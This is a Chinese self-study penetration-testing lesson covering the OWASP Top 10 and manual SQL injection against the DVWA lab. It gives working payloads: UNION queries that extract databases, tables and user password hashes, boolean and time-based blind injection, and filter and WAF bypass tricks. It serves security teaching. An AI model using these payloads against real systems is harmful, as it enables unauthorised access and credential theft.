自学渗透测试第23天(漏洞分类与sql注入模仿)
第9章 服务配置与工具链联动(第23–25天)
9.1 漏洞分类与SQL注入模仿(第23天)
核心目标
掌握Web漏洞分类体系:理解OWASP TOP 10漏洞分类,建立系统化的漏洞认知框架。
精通手工SQL注入流程:超越自动化工具,掌握从注入点探测、信息获取到数据提取的完整手工注入流程与技巧。
理解漏洞防御与绕过:了解SQL注入的常见防御机制(如WAF、过滤函数),并学习基础的手工绕过思路。
模块一:Web漏洞分类体系
1.1 OWASP TOP 10核心漏洞
注入:SQLi, NoSQLi, OS命令注入, LDAP注入。
失效的身份认证:弱口令、会话管理不当、注销机制失效。
敏感信息泄露:明文传输密码、错误信息泄露、不安全的直接对象引用。
XML外部实体:XXE攻击。
失效的访问控制:水平/垂直越权。
安全配置错误:默认配置、不必要的服务、错误的HTTP头。
跨站脚本:XSS。
不安全的反序列化:导致RCE。
使用含有已知漏洞的组件:未更新的框架、库。
不足的日志记录和监控:无法追溯攻击行为。
1.2 漏洞利用链思想
单一漏洞到权限提升:如何将信息泄露、文件上传、SQL注入等漏洞组合,实现从外网渗透到内网控制。
模块二:手工SQL注入深度实战
2.1 注入点探测与确认
经典探测Payload:
' // 触发错误 \" // 触发错误 ` // 某些情况下 AND 1=1 // 真条件,页面应正常 AND 1=2 // 假条件,页面应异常(如内容消失)
判断注入类型:
数字型:
id=1->id=1 AND 1=1/id=1 AND 1=2字符型:
id='admin'->id='admin' AND '1'='1/id='admin' AND '1'='2
2.2 信息收集:数据库、用户、版本
查询数据库版本:
MySQL: SELECT @@version, version() MSSQL: SELECT @@version Oracle: SELECT banner FROM v$version PostgreSQL: SELECT version()
查询当前用户与数据库:
SELECT user(), database()
联合查询注入步骤:
确定列数:
ORDER BY 5递增直到报错。确定显示位:
UNION SELECT 1,2,3,4,5替换显示位获取信息:
UNION SELECT 1,@@version,user(),database(),5
2.3 提取数据:库、表、列、内容
MySQL信息模式:
-- 获取所有数据库名 UNION SELECT 1, schema_name,3,4 FROM information_schema.schemata -- 获取指定数据库(如dvwa)的所有表名 UNION SELECT 1, table_name,3,4 FROM information_schema.tables WHERE table_schema='dvwa' -- 获取指定表(如users)的所有列名 UNION SELECT 1, column_name,3,4 FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa' -- 提取数据 UNION SELECT 1, concat(user, ':', password),3,4 FROM dvwa.users
2.4 盲注:布尔与时间盲注
布尔盲注:通过页面返回内容的差异判断真假。
id=1' AND SUBSTRING((SELECT database()),1,1)='d' --+ -- 如果页面正常,则数据库名第一个字符是‘d’
时间盲注:通过执行延时函数判断。
MySQL: id=1' AND IF((SELECT database())='dvwa', SLEEP(5), 0) --+ -- 如果页面响应延迟5秒,则数据库名为'dvwa'
模块三:防御机制与基础绕过
3.1 常见防御机制
输入过滤:过滤
',",SELECT,UNION等关键字。使用预编译语句:最有效的防御手段。
WAF:基于规则库拦截恶意请求。
3.2 基础绕过技巧
大小写混淆:
SeLeCt替代SELECT双写关键字:
SELSELECTECT过滤后变为SELECT内联注释:
/*!SELECT*/(MySQL)URL编码:
%55nion表示Union空白符替换:使用
/**/,+,%0a代替空格等价函数/语句替换:
SUBSTRING->MID->LEFT
模块四:当日达标实战任务
4.1 漏洞分类练习
分析场景:给定三个漏洞描述:A) 网站将用户输入直接拼接到
system()函数中。B) 网站的Cookie中userid参数可被篡改,从而访问他人数据。C) 网站的登录页面在失败时返回“用户admin不存在”。请判断它们分别属于OWASP TOP 10中的哪类漏洞。
4.2 DVWA手工注入挑战
在DVWA的SQL Injection模块(安全级别设为Medium或High),完成以下手工注入任务:
探测与确认:判断注入类型(数字/字符)及闭合方式。
获取信息:获取数据库版本、当前数据库名、当前数据库用户。
提取数据:获取
users表中的所有用户名和密码(MD5哈希形式)。盲注实践:在
SQL Injection (Blind)模块,通过布尔或时间盲注,获取数据库版本号的第一个字符。
4.3 绕过简单过滤
假设一个过滤规则是删除输入中的SELECT和UNION关键字(不区分大小写)。请构造一个Payload,使其在过滤后仍能正常执行UNION SELECT 1,2,3。
模块五:常见问题与解决方案
5.1 手工注入难点
页面无回显:优先考虑布尔盲注或时间盲注。观察页面内容的细微变化(如“存在/不存在”、“Welcome/”),或使用
SLEEP函数。UNION查询列数不一致:耐心测试ORDER BY,或使用NULL填充列,如UNION SELECT NULL, NULL, NULL。
5.2 绕过失败
WAF拦截严格:尝试使用更冷门的编码方式、分块传输、HTTP参数污染等技术,或寻找未受WAF保护的其他功能点。
明日预告:第24天将聚焦Linux服务配置与连接测试,学习如何安装、配置、启动和测试常见的网络服务(如SSH, Apache, MySQL),这是内网渗透和权限维持的重要基础。
